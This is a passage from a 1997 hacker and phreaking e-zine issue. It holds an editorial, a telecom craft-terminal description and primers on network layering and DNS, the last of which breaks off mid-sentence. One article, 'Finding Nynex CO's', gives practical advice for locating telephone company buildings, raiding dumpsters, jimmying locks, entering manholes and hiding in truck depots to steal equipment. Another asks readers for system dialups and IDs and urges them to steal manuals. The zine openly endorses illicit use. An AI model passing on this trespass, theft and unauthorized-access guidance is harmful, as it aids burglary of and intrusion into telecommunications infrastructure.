Copy Link
Add to Bookmark
Report
The Havoc Technical Journal 17
ÕÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͸
³The Havoc Technical Journal - http://www.thtj.com - ³±
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ±
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
Vol.2 No.4 Issue 17 ³ December 1st, 1997 ³ "Putting the hell back in shell."
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÕÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͸
-³ The Havoc Technical Journal issue 17 ³-
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Editorial..............................Scud-O
6k Finding Nynex CO's.....................Syrus
6k CAT XL: Uses and Functions.............Syrus
9k Basic Network Architecture Part I......lurk3r
27k DNS: The Domain Name System............wyclef_
27k The Boot Process.......................Scud-O
14k MMC: Microsoft Management Console......FuManchu
3k bomber.c...............................memor
1k cleart.c...............................memor
20k ip_frag.c..............................simon
5k thejackal.c............................Ralph5
8k land.c Information.....................simon
17k The Mailroom...........................Scud-O
22k The News...............................KungFuFox
2k Reader Survey..........................thtj staff
---
Total: 181k
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ+
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-+
³ The THTJ Distribution Mailing List ³
³ majordomo@terminus.orc.ca ³
³ 'subscribe thtj you@your.isp' ³
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-+
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÕÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͸
³the havoc technical journal - contacts³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Editor in Chief : Scud-O, scud@thtj.com
Executive Editor : KungFuFox, kungfufox@thtj.com
Submissions Editor : Keystroke, submissions@thtj.com, keystroke@thtj.com
thtj email address : thtj@thtj.com
thtj website : http://www.thtj.com/
thtj mailing address : PO BOX 448 Sykesville, MD 21784
Send All Articles to : scud@thtj.com
Submissions Info & Policy: http://www.thtj.com/submissions.html
Distribution Info: http://www.thtj.com/distro.html
To subscribe to The HAVOC Technical Journal, send mail to:
majordomo@terminus.orc.ca, with no subject, and the body reading 'subscribe
thtj you@your.isp' with out the quotes. Note that this majordomo is only for
thtj distro. The open mailing list is coming soon.
The HAVOC Technical Journal Vol. 1, No.17, December 1st, 1997.
Contents Copyright (©) 1997 The HAVOC Technical Journal. All Rights
Reserved. No part of this publication may be reproduced in whole or
in part without the expressed written consent of The Editor
in Chief for The HAVOC Technical Journal.
[No copying THTJ, damnit.]
The HAVOC Technical Journal does in no way endorse the
illicit use of computers, computer networks, and
telecommunications networks, nor is it to be held liable
for any adverse results of pursuing such activities.
[Actually, to tell you the honest to goodness truth, we
do endorse that stuff. We just don't wanna get in trouble
if you try it for yourself and something goes wrong.]
The articles provided in this magazine are without any express or
implied warranties. While every effort has been taken to ensure the
accuracy of the information contained in this article, the authors,
editors, and contributors of this zine assume no responsibility for
errors or omissions, or for damages resulting from the use of the
information contained herein.
-------------------> 'Its Not Our Fault' <-------------------
For infomation about using articles published in THTJ, send mail to:
e-mail: thtj@thtj.com ³ mail: THTJ PO Box 448 Sykesville, MD 21784
NOTICE: if you are a government offical or employee reading this file, you
MUST register with thtj. A registration permit will be mailed to you free
of charge by using either of the mail addresses above. A Registration fee
of $50 is required upon submission of the permit. This will entitle you to
recieve thtj via a private mailing list, or via snail mail on a 3.5 floppy
disk. UNTIL you are officially registered, you MUST DELETE ALL COPIES of
thtj that you have, either in print or on a computer. You CAN NOT read thtj
until you are registered.
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Editorial: The Future / THTJ Needs You
By Scud-O, Editor in Chief <scud@thtj.com>
The Future
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
After this issue the staff at thtj will be taking a break and totally
redesigning this zine. This process may make thtj18 a little late, but we
can not tell. Please still send your articles for issue 18 to us, and we
will include them in issue 18. The zine will be redone from the ground up, so
we will need to get your input in content and format. Hopefully we will still
be able to ship thtj18 out on January 1, but if not, we will get it out as
soon as possible. thtj might also be going thru some deadline changes, and
those will be set straight in thtj18. The editors are also going to be
thinking and modifying layouts and possibly taking out sections of thtj that
we deem bad or not needed, for good. I hope that you can live with this,
since this redesign will hopefully make thtj a much, much, much better zine.
Recently I have become very displeased with thtj, and so have the
other editors, making this redesign and break needed. We need to hear your
opinions on things so that we can make this zine better for *you* the reader.
You are who this zine is for, so help us make it better for you. Please fill
out the survey at the bottom of this issue and mail it to me. And write some
stuff for thtj!
THTJ Needs You!
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Recently some of you out there have been saying what thtj needs to add
to its format. You say, but you do not act. THTJ is not just made by the thtj
staff, it is a zine made by the people, for the people. If you want to see
something added to thtj, then work with us on it. Do it. THTJ currently has
alot of material in it, but we have a serious shortage of phreaking articles
that are submitted to us. While hacking is more popular than even, and hacking
material is easy to come by, phreaking material is not. THTJ is working to
become a medium for phreaking information, but we can not do it with out you.
We urge you to help thtj and the underworld with phreaking materials.
THTJ also has a seriuos shortage of the following type of articles:
o NT Articles
o Phreaking
o UNIX Code
o Crypto
o VAX/Other OSes
The thtj staff is currently working to get articles on these subjects, but
we can not do it alone. Your submissions are critical. Your submissions are
*very* important to us. You help make this zine run.
Why write for thtj? Simple, thtj is one of the largest zines out there
covering hacking, phreaking, coding, crypto, etc. THTJ has recieved worldwide
coverage, and everyday thtj is reaching more people. Your name will be on
peoples minds after thtj has included one of your articles. After 2 or more
articles, you are eligable to be included on the thtj staff and receive some
goodies from thtj.com, information before anyone else has it, meet the
contacts and friends out there, and receive copies of thtj issues before
anyone else does.
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Scud-O , Founder, and Editor in Chief of THTJ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Finding Nynex CO's
By Syrus <syrus@empire.net>
This article is written of informational purposes only.
By reading this, you agree that Syrus is in no way whatsoever
responsible for anything you do, related to this article or not.
Now that the legal bullshit is over, I can get to the point.
The purpose of this article is to inform you of methods used
for locating Nynex Central Offices(CO aka EO), Intermediate points
(IO; which are small stations that are all digital), and even
Toll Points (TP), Toll Centers (TC's), and Remote Switching
Units (RSU's, aka class 5R. They are buildings that are about
10x10). Most of these, including RSU's have dumpsters, unstable
locks, and even open doors(hopefully Nynex corporate security
isn't reading this..)! I will briefly go over the purpose of the
building, security, and attributes.
Central Offices (aka End Offices)-
These are usually offices that handle residential service. The
ones in my area have 1AESS for switching. Also I came across
a CO once that had DMS-100(probably for digital lines for business
customers).
The layout of an CO is pretty obvious:
-The building itself has no windows around the sides. All windows
are either around doors, or near corners on the second story.
The building itself is made of brick (red) or concrete. A small
stone sign saying New England Telephone is usually out in-front
of the building. Nynex trucks are parked in lots near the
building or are in-front of it.
-The dumpsters are normally unlocked. And contain everything you
could imagine that would be thrown out of a CO. I have came
across a CO that was built afew years ago with no dumpster. A
further investigation revealed that the lower floor had nothing
on it at all. Rather strange, to this day it remains the same.
-CO's have no security at night. Everyone is gone by about 12:30.
Which makes it great for trashing.
Remote Switching Units.
These buildings are small in size and usually handle a small
rural or small business subscriber base. Switching is generally
10A-RSS or sometimes they are RT's (remote terminals) for SLC-96.
Layout:
-Small. Usually only room for one or two trucks.
Big Cans near one side of it. One door. About 10'x10'.
-I found one dumpster outside one. It was a small size. Trash
was usually from the attendant or linemen that go in there.
The dumpster had trash 8 months old in it.
-No security. Hell you could probably break into it.
Intermediate Points:
These building are similar to RSUs. With the exception that they
have 4ESS switches in them, so with 5ESS. They handle massive
amounts of subscribers.
They are normally unmanned after 5. 1 - 2 people man them during
the day. If you stake one out, like I did, you'll find that 1 guy is
usually there, then leaves for lunch.
Little security.
Toll Centers:
If you find one of these, usually one in every area code or local
calling area. They have 5AESS switches. They are big buildings in
with Nynex written all over them. They have lots of windows, and
lots of parking. Operators sometimes hangout here, and lots of
workers go in and out.
Layout:
-There are cameras usually overlooking back
entrances.
-No night watchman. Most workers are gone by 10PM. If there are
operators in there, then someone will always be there.
-No fences. Dumpsters unlocked. Usually an alley leads to them.
Truck Depots-
These are my favorite! They hold all the trucks in a big garage.
In the offices the people who take care of business callers are
there during normal hours. Mechanics, burn-out repairmen, etc. are
gone by 12:00PM. The garage doors are open till then. You can
easily sneak in, hide under or in a truck, wait for the lights to
go out, and then help yourself. There are steel doors next to all
the garage doors too.
Layout:
-Fence with barbed wire or normal fence.
-Lights everywhere.
-No cameras, no alarms.(TRUST ME).
-The garage is usually half-lite at night. All the offices and
all are pitch-black.
PART II
Finding the Location
This is the hard-part. If you find a truck depot, go there at like
07:00AM and follow either vans, big heavy trucks, or trailers.
They usually stop off at CO's to see what's going on. If you see
a Nynex truck, follow it. They usually go to CO's some point in
the day. If its about 5-6PM, try following it. They will lead you
right to a truck depot.
Another method is to follow the phones lines. When they are thick
they branch into the ground. Now they are hooking up with the drop
cables. If your in a city, look around for a manhole cover to lift
up and then jump in. Inside you will find manuals, test sets, and
all other sorts of goodies. If your in the country, when they are
thick, a CO is near by, or an SAI (service area interface), which
are big steel boxes that stand straight up. A CO should be within
2-5 sq. miles.
Another method that I tried is to go into city hall. Yup thats
right, go right in, look for the tax accessors office. Ask them
to give you the address of all the New England Telephone buildings
in the city. This usually works. I had 3 people do this for me at
once the first time I tried it. I received the complete printouts
of the tax records, even the building's gross worth! This allows
you to place your priority. Some cities can't give you the info
unless you provide an address. This sucks.
These are my starter methods. I know every location of every
telecommunications building adjacent to my town. If anyone has any
good advice, please email me(flames > /dev/null).
Part III
Security
Nynex buildings (CO's, Depots, etc) usually have only one security
measure. Locks. Magnetic strip, electro-magnetic, or just key. There
looks can be jimmied pretty easily. Picking can be done with automatic
lock pickers. Basicly, if your determined to get into one, you'll get
in, without the cops knowing until after (if your destructive).
I have came across CO's with doors ajar, and even a door unlocked.
So don't be surprised. Especially in a low crime area. Windows are
open during the summer and are accessible by fire escapes. Roofs often
have entrances unlocked.
Well that about wraps up this article. Look for more
articles by me about:
Trashing
Truck Robbing
ESS system commands
Breaking and Entering
And:
MVS: Overview and Introduction.
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
CAT XL, Uses and Functions
By Syrus <syrus@planh.ml.org>
INTRODUCTION: This isn't a Craft Access guide. This simply explains the
features of the XL model of the Craft Access Terminal line. If
you want a good tutorial, look for some good articles on the
net and steal manuals to get more info.
DESCRIPTION: The Cat XL is the newest, latest, and greatest Cat out there.It
is was made by AT&T but now it's made by Lucent Technologies.
The one I have is rather old because it still bears the AT&T
logo. The XL has a 20 coloum by 8 line LCD black display. It
has quite a few buttons, here they are:
+----------------+
||--------------||/(on) ON/OFF TOGGLE
|| || (off)
|| ||
|| LCD SCREEN ||/ (Voice switch)(V)
|| ||- (Monitoring switch)(M)
|| ||\ (Data Switch) (D)
|| ||
||--------------||
| /--------/--|----> Send Buttons
| o o |
| | |
\ <--|--> <--|-------> Joy stick replacement.
\ | / up = back
\ / down = review
| | right = next
| | left = help
| |
| |
~~~~~~~~~~~~~~~~~~
| |
/ \
/ \
| 1 2 3 |
| 4 5 6 | < DTMF tones (standard)
| 7 8 9 |
| * 0 # |
+-o--|----O----+
^ ( ) ^
Power(12 V DC)<------------| | +----------------> 4 wire hookup to clips
+---> Belt Clip and rj-11 male jack.
SOFTWARE: The XL I have runs Cat XL software V. 11.3 which is copyrighted
1996. So as we can see, it a fairly modern patched OS. Upon boot
it does self diags. If the battery is low, it ask you to charge
the XL soon. Menus vary. We'll start from modes. From V or
voice mode, it asks you a number to dial:
(screen shot)
-------------------------------------
|After dial tone
|enter phone number:
| (field for data)
use pulse dialing (if you hit next, then a
cursor ">" comes up and
you can select pulse)
------------------------------------
If you hit review key then
you get (this is universal):
Dispatch
Linked Job
line record
test
-----------------------------
DISPATCH MENU:
Dispatch test --> Tests to see if CAT server is online.
Failure will yeild in "SWITCH FAILURE"
Customer --> CN/A info for a job. Shows number/CN/A/problem
and the date when the job was recieved.
Trouble --> shows troubled sites. May include SAI's, CO's,
etc.
Many acronmy's I don't know.
Facilities --> shows cable pair number on terminals that
need to be modified. Also has color of the
pair. Has the address of the terminal. I
think they use this info for adding/maintaining
customer lines.
LINKED JOB MENU:
Customer --> more customer info for certain jobs.
Trouble --> a link to the DISPATCH:TROUBLE menu.
Facilities --> a link to DISPATCH:FACILITIES menu.
LINE RECORD MENU:
Customer info --> a link to LINKED JOB:CUSTOMER menu.
Facilities --> holds info on two facilites titled F1 and F2
shows info that is similar to DISPATCH:FACILIT-
IES, but has differant locations, pairs, and
other more acronyms.
Other Facilities --> More info on Facilities. I guess the way
the OS address' its data fields, certain
items are limited to approximately 1.2KB
of space, so to get around this, they
made more fields to hold similar data.
Other --> Equipment --> Shows equipment to work on and CO
end equipment. ID's mostly. However
SLC-96 equipment is mentioned. Look
for an article on this from me too.
Line Test --> Info on the line when the work is
complete.
(end of LINE RECORD)
TEST MENU:
This menu displays output from testing. It mostly has to do
with electrical current:
dc meas:
3500 K t-r
3500 K 0v t-g
etc.
Line Status
------------------------------
The M or Monitoring key yields:
|Monitoring --> Menu title (| = title)
erase memory --> Earse user data in the NVRAM.
decrease volume --> Decrease volume for the speaker.
increase volume --> Increase volume for the speaker.
----------------------------
The D key yields:
|After dial tone
|enter computer no:
(area for data)
use pulse dialing.
----------------------------
This area is for the Craft Access Computer number. If this
number is preprogrammed, then your lucky. However, it
requires an ID to be entered when you dial up and connect
to it. Its not an employee ID, its a system ID. I have no
info on how many chars., valid numbers, etc. But If anyone
has any dialups or ID's or knows an algorithm for it, I
would like to talk to you. Please email me at:
syrus@empire.net.
On another note, I am going to see if I can get me some
more CAT manuals and the like. If you know of a place on
the Internet, please send me the url. If you have manuals
or are willing to share info, PLEASE, drop me a line.
My next article will be on the CAT Administration systems
and networks. I don't know much about these, snice the only
manual I had on it was taken by Nynex Gestapo (thanks Warren
Brown, you fuckbitch). I also lost my CMC-386 which is a
small laptop style computer that interfaces directly with
a digital telephone switch (ESS/DMS). I still have the manual
so expect another article on that too.
During this article several people helped me,
Bands: Chemlab, Acumen, Death Ride 69, and Trust Obey.
People: Booger, for helping me get it!
Andrewr, for being damn cool.
Groups: PLANH, and HackersUnited (http://hackersunited.dynip.com)
for giving me LOTS OF LAUGHS last night and being the
most "we not lamer, we eleet group" I ever heard of.
Later,
Syrus
Check out Phone Losers of America--New Hampshire!
planh.ml.org (80)
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Basic Network Architecture, Part I
By lurk3r <lurk3r@earthlink.net>
I decided to write this article because of the fact of all the text
files i see on basic hacking of networks and of the many exploits i see
out there on buffer overflows,segmentation faults,floods, etc etc. And I
see alot of people using these exploits but not exactly knowing how or
why they work. So I wrote this for the people out ther elike myself who
not only want to use these things but actually care enough to want to
know why and how they work.So i will be dedicating my next few articles
to this subject.Any comments ,corrections,ideas,and so forth can be
mailed to me at lurk3r@earthlink.net. DO NOT mail me asking me about
something I have already explained. Reread the damn article. And if i
get enough mail on one particuler subject I will prolly cover it in the
next article.So do your part as the rest of us at thtj are doing also.As
Scud has said. This is a mag by the ppl for the ppl. Also if anyone is
good at making ascii charts and diagrams plz mail me.
Primer:
In any network there exists a collection of machines intended for
running user's programs.We will follow the terminology of one of the
first major networks, theARPANET, and call these machines hosts. The
hosts are connected by the communication subnet,or subnet for
short.(also known as transport system or transmission system) The job of
the subnet is to transport messages from host to host,just as a
telephone carries sound from speaker to listener. By seperating the pure
communication aspect of the network (subnet) from the applications
aspect (host), the complete network design is very simplified.
In nearly all networks the subnet consists of two basic components:
switching elements and transmission lines. The switching elements are
usually specialized computers. Again following the ARPANET terminology,
we'll call them IMPs (Interface Message Processors)although the terms
communications computer,packet switch,node, and data switching exchange
are often used. Transmission lines are often called circuits or
channels.All traffic to and from the host goes via IMP.
Broadly speaking there are 2 general types of designs for the
communication subnet.
1:point-to-point channels
2:Broadcast channels
In the first one, the network contains numerous cables or leased
lines,each one containing a pair of IMPs.If two IMPs that do not share a
cablewish to communicate, they must do this indirectly,via other
IMPs.When a message is sent from one IMP to another one via one or more
intermediate IMPs,the message is recieved at each intermediate IMP in
its entirety,stored there untill the required output line is free,and
then forwarded to its destination. Asubnet using this principle is
called a point-to-point or store-and-forward subnet.
The second kind of network architecture uses broadcasting. In this
design there is a single communicationchannel shared by all IMPs.With
this type a message sent with a IMP are recieved by all other IMPs.
Something in the message itself must must specify for whom it is
intended.After recieving a message not intended for itself the IMP just
ignores it. (imagine the security holes in that)
Layers:
To reduce their designcompexity most networks are organized as aseries
of layers or levels, each one built on its predecessor. The
number,number,and function of each layer differ from network to
network.But in all networksthe purpose of each layer is to offer certain
services to higher layers,sheilding those layers from the details of how
the services are implemented.
Layer X on one machine carrieds on a conversation with Layer X on
another machine.The rules and conventions used in this situation are
known as the Layer X protocol.The entities making the corresponding
layers on different machines are called peer processes.(in other
words,it is the peer processes that communicate using the protocol.)
In reality,no data is directly transfered from Layer X on one machine to
Layer X on another (except in the lowest layer) Instead,each layer
passes data and control information to the layer immediately below
it,untill the lowest layer is reached. Atthe lowest layer ther is
physical communication with the other machine,as opposed to he virtual
communication used by the higher layers.
Between each pair of adjacent layers there is an interface. The
interface defines which primitive operations and services the lower
layer offers to the upper one.
The set of layers and protocols is called the network archtecture. The
specification of the architecture must contain enough information to
allow an implementor to write the program for each layer so that the
program will correctly obey the appropriate protocol.Neither the details
of the the implementation nor the specification of the interfaces are
part of the architecture.In fact it is not even necessary that the
interfaces on all machines in the network be the same. so long as each
machine can correctly use all the protocols.
For a basic example:
Imagine 2 lamers (peer processes in layer 3) one in U.S and one in
France,who want to communicate.Since they have no common language,they
each engage a translater (peer process at layer 2),each contacta an
engineer (peer process in layer 1) lamer 1 wishes to tell lamer 2 to go
to hell. To convey his thoughts he sends a message in english (across
the 2/3 interface), to his translator, who might render it as "piss-off"
or "eat me" depending on the layer 2 protocol. The translater then gives
his message to his engineer for transmission, by telephone, comp
network, or some other means,depending on what the two other engineers
decided on in advance ( the layer 1 protocol ). When the message
arrives,it is translated into french and passed acros the 2/3 interface
to lamer 2.
Note that each protocol is completely independent of the other ones as
long as the interface is not changed. The translators can switch from
French to English at will,provided they both agree,and neither changes
its interface with either layer 1 or 3.
okay got that? if not mail this mag back to us with the header im to
lame to have this, and delete it from your harddrive. if so then lets
move on to a more technical example:
how to provide virtual communication to the top layer of the seven-layer
network. A message, X, is produced by a process running in layer 7. The
message is passed from layer 7 to layer 6 according the the definition
of the layer 6/7 interface. In this example layer 6 transforms the
message in certain ways (i.e. text compression), and then passes the new
message, X, to layer 5 across the layer 5/6 interface.Layer 5, in this
example, does not modify the message but simply regulates the direction
of the flow.(i.e prevents an incoming message from being handed to layer
6 while layer 6 is busy handing a series of outgoing messages to layer
5).
In this example,as well as many actual networks,there is no limit to the
size of the message accepted by layer 4, but there is a limit imposed by
layer 3.
Consequently,layer 4 must break up the incoming messages into smaller
units, adding a header to each unit.The header includes control
information,such as sequence numbers,to allow layer 4 on the destination
machine to put the pieces back together if the lower layers do not
maintain sequence. Layer 3 decides which of the outgoing lines to
use,attaches its own headers and passes the data to layer 2 (using which
interface? if u guessed 3/2 your right.)Layer 2 adds not only a header
to each piece but also a trailer to it,and gives the resulting info to
layer 1 for physical transmission (using which layer again?). At the
recieving machine the message moves upward, from layer to layer ( via
the what?) with headers being stripped off in the process.
Conclusion:
The important thing to understand is the relation between the virtual
and actual communication and the difference between protocols and
interfaces.The peer processes in layer 4, for example,think of their
communication as being horizontal using the layer 4 protocol. Each one
is likely to have a procedure called such as "Send to other side" and a
procedure "From other side", even though procedures actually communicate
with lower layers across the 3/4 interface,not with the other side.
The peer process is cruscial to all network design,Without this
technique it would be impossible to make the design the the complete
network,an unmanageable problem into several smaller,manageable, design
problems,namely the design of the individual layers.( maybe in next
issue if i can get someone to put together some ascii charts for me)
Personal Note: For those trying to send mail to rseal@earthlink.net im
sure u know its down now.
the new email would be lurk3r@earthlink.net and url
http://home.earthlink.net/~lurk3r/index.html
-----------------------Channel Shout-outs: #Virii , #Phreak (obviously)
--------------------------------------
-----------------------People: memor , jlb , Reality , Scud , darkstarz
, Wrd , FA-Q , Warsprite-----------
-------------------------------------------------------------------------------------------------------------------------------
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
DNS, The Domain Name System
by wyclef_
What Is DNS?
Top-Level Domain Designations in the United States
How named Works
Running Your Own Domain Name Server
DNS Configuration Files
Reverse Lookups: IP to Hostname, the IN-ADDR.ARPA
Domain
SOA Record
NS Records
Address and Alias Records
The db.IP File
PTR Records
The Loopback Interface
The named.root File
The /etc/named.boot File
Starting named
DNS and BIND Primer
The Internet is a vast collection of networks. Before a computer can talk to
another, it needs an address. This address typically takes the form of a name
because names are easier for people to remember. Computers, on the other hand,
prefer numbers.
Without the Domain Name System (DNS), your computer would need to have a huge
address book of names and addresses that included every computer on the
Internet. If you wanted to send e-mail to a user at host.foo.com, the system
would have to figure out that you wanted to talk to the machine at address
1.2.3.4 and do its thing.
This approach has several problems, including the following:
Your address book would always have to be up-to-date. An old address book
would not have entries that were recently added; or worse, if a host
changed addresses, you would no longer be able to communicate with that
host.
Your address book would have to include every address for every system
that you wanted to communicate with.
No two hosts could share the same name.
What a mess! Believe it or not, this was the way that it was until 1984. A
large host table (HOSTS.TXT) was maintained in one server at the Stanford
Research Institute Network Information Center (the NIC). With more and more
networks going online, it became almost impossible to keep the host list
up-to-date. Before the list would be downloaded by all hosts, someone would
have introduced a change that would require downloading yet another new list!
Vestiges of this address book are still used by your system to look up hosts
in your local network the /etc/hosts file.
DNS: the Domain Name System
A new system developed by Paul Mockapetris of USC's Information Sciences
Institute was proposed as a replacement for HOSTS.TXT. Mockapetris's system
addressed the network-load and consistency problems that the infamous
HOSTS.TXT system had. Mockapetris's system boasted the following capabilities:
1.The elimination of the single repository for host information would
eliminate network traffic problems caused by network administrators
downloading an updated version of the HOSTS.TXT file.
2.It would also introduce a name-based domain system, where each domain
would have its own internal context; thus allowing for hosts in
different domains to have the same name.
3.And most importantly, it would allow for delegation of host information
management. The responsibility for managing each network and each
network's subdomain was handed to the local administrator for the zone
in question, which made the task of keeping information up-to-date much
more manageable. Local host information could be made available globally
through the client/server nature of the system, insuring that each
request was answered with reliable data from an authoritative source.
The original DNS system was described in the 1983 Request for Comment (RFC)
documents 882 and 883. Both have been updated and superseded in 1987 by RFCs
1034 and 1035, and again in 1990 by RFCs 1101 and 1183, which implement the
current specification of the DNS. In software, DNS is implemented on UNIX
systems as the Berkeley Internet Name Domain (BIND) system. BIND is shipped
in almost every UNIX box.
The current BIND release is composed of several programs including: named,
named-xfer, named.restart, named.reload, ndc, nslookup, and the resolver
libraries. The resolver libraries provide routines for programs to query DNS
name servers, so you can design programs that make use of the DNS. Here's a
list of the entire distribution and what each does:
dig
A domain information groper; a command line tool
that can be used to gather information from a DNS
server. It has zillions of options.
dnsquery
A program that uses the BIND resolver library calls
to query name servers.
host
A program that does reverse DNS lookups. Instead
of specifying a hostname to find its IP address, you
supply the IP, and host returns the hostname.
named-xfer
A tool for doing zone transfers. Usually this program
is called by other software. It can also be used to
debug a zone transfer problem. But more than likely
you won't use it at all.
named
The Internet domain name server daemon, and the
focus of my attention in this appendix.
named.reload
A convenience program to restart the named
daemon and force the server to reload and update
its database files, if necessary. This program uses
a hangup (SIGHUP) signal.
named.restart
A convenience program to restart the named
daemon and to force the server to reload and
update its database files, if necessary. This
program kills the name server by using a kill
(SIGKILL) signal and then starts a new server.
ndc
A cool program that allows you to send various
signals to the named daemon. This command
allows you to monitor the status of the server as well
as to force database reloads. It has many other
options.
What Is DNS?
DNS is a distributed database. By distributed I mean that no single
repository contains complete information regarding other domains. A program
called name server is responsible for implementing the server portion of the
equation. When a machine is configured to use DNS, client programs making
calls to the gethostbyname() and gethostbyaddr() library routines use the
resolver library. This library allows them to query a name server across a
network instead of looking up information in the /etc/host file.
The structure of the Internet domain system is similar to that of the UNIX
file system. There's a root domain and a series of directories called
top-level domains. In turn, top-level domains are composed of other
subdirectories or subdomains. Each domain or subdomain is separated by a dot
(.). Each second-level domain can have up to 26 characters. Subdomain labels
can have up to 63 characters in length. The root domain is null, meaning
there's no label, and is usually represented by empty quotes (""). Unlike
a file path, domain names are written and read from the bottom up:
host.subdomain.domain.topleveldomain
The host label is the name of the machine.
The subdomain label is a subdivision of a domain. Typically subdomains are
used to create logical groupings of machines to match some internal
organization criteria. Don't be surprised if you ever see more than one
subdomain. As a matter of fact, subdomains are common under geographical
domain designations.
The domain is the domain name of the organization, usually matching the
organization's name, such as IBM, APPLE, and NEXT.
The topleveldomain is a classification of the domain.
Top-Level Domain Designations in the United States
COM
Reserved for commercial organizations such as Digital
Equipment Corporation (digital.com) or Hewlett-Packard
Corporation (hp.com).
EDU
Used by educational organizations such as the University of
Wisconsin (uw.edu).
GOV
Used by U.S. government organizations and agencies such
as NASA (nasa.gov) or the Federal Bureau of Investigation
(fbi.gov).
MIL
Reserved for use by the U.S. Armed Forces such as the Air
Force (af.mil) or the Navy (navy.mil).
NET
Reserved for networking organizations and leased line
providers such as Internet Connect (inc.net), a regional
Internet service provider in Wisconsin.
ORG
Reserved for noncommercial organizations such as the
popular Electronic Frontier Foundation (eff.org).
INT
International organizations such as NATO (nato.int)
ARPA
This is a historical domain that was used during transition
from the host tables to the DNS. Organizations and
networks originally found under this domain have since
migrated to their appropriate locations on one of the
previous subdomains.
This statement is actually not the full truth. The original classifications
originated before the Internet became an international entity. Given its
incredible and unexpected success everywhere, additional classifications
emerged geographical designations. Look elsewhere for this information, it
is about 40k for the complete list!
How named Works
named (pronounced name-d) is the BIND name server daemon. This software
answers queries about hostnames and IP addresses. When named doesn't know the
answer to a query, it asks other servers (typically in the top-level domains)
that provide information on how to contact other name servers responsible for
the domain in question. named caches this information in case there's a need
to find another host near that domain. This allows it to ask a closer name
server for the answer in future queries. This effectively skips the top-level
name servers from the process and reduces the overall effort required to
obtain the new address.
There are three types of name servers:
Primary
Secondary
Caching-only
Name servers are distinguished by the source of their information and if the
server providing the information is authoritative for the domain.
Authoritative name servers provide information that is "guaranteed" to be
correct. While nonauthoritative answers are usually correct, primary and
secondary servers for a domain are the only servers authoritative for the
information. Caching-only name servers are never authoritative, although they
help speed up the process a great deal.
I should qualify the guaranteed qualifier I used in the last paragraph. It is
possible for information provided by a secondary name server to be stale.
Unless the System Administrator manually updates the secondary servers, it is
possible for secondary servers to distribute stale information until their
refresh period expires. A refresh period forces secondary name servers to
check for changes on the domain database file after the period of time
specified by the Administrator managing the domain is complete. Typically this
period is no longer than six hours.
If you were wondering about the reliability of cached information, it will
satisfy your curiosity to learn that DNS information is usually cached for a
little while. Cached information only exists until the Time To Live (TTL)
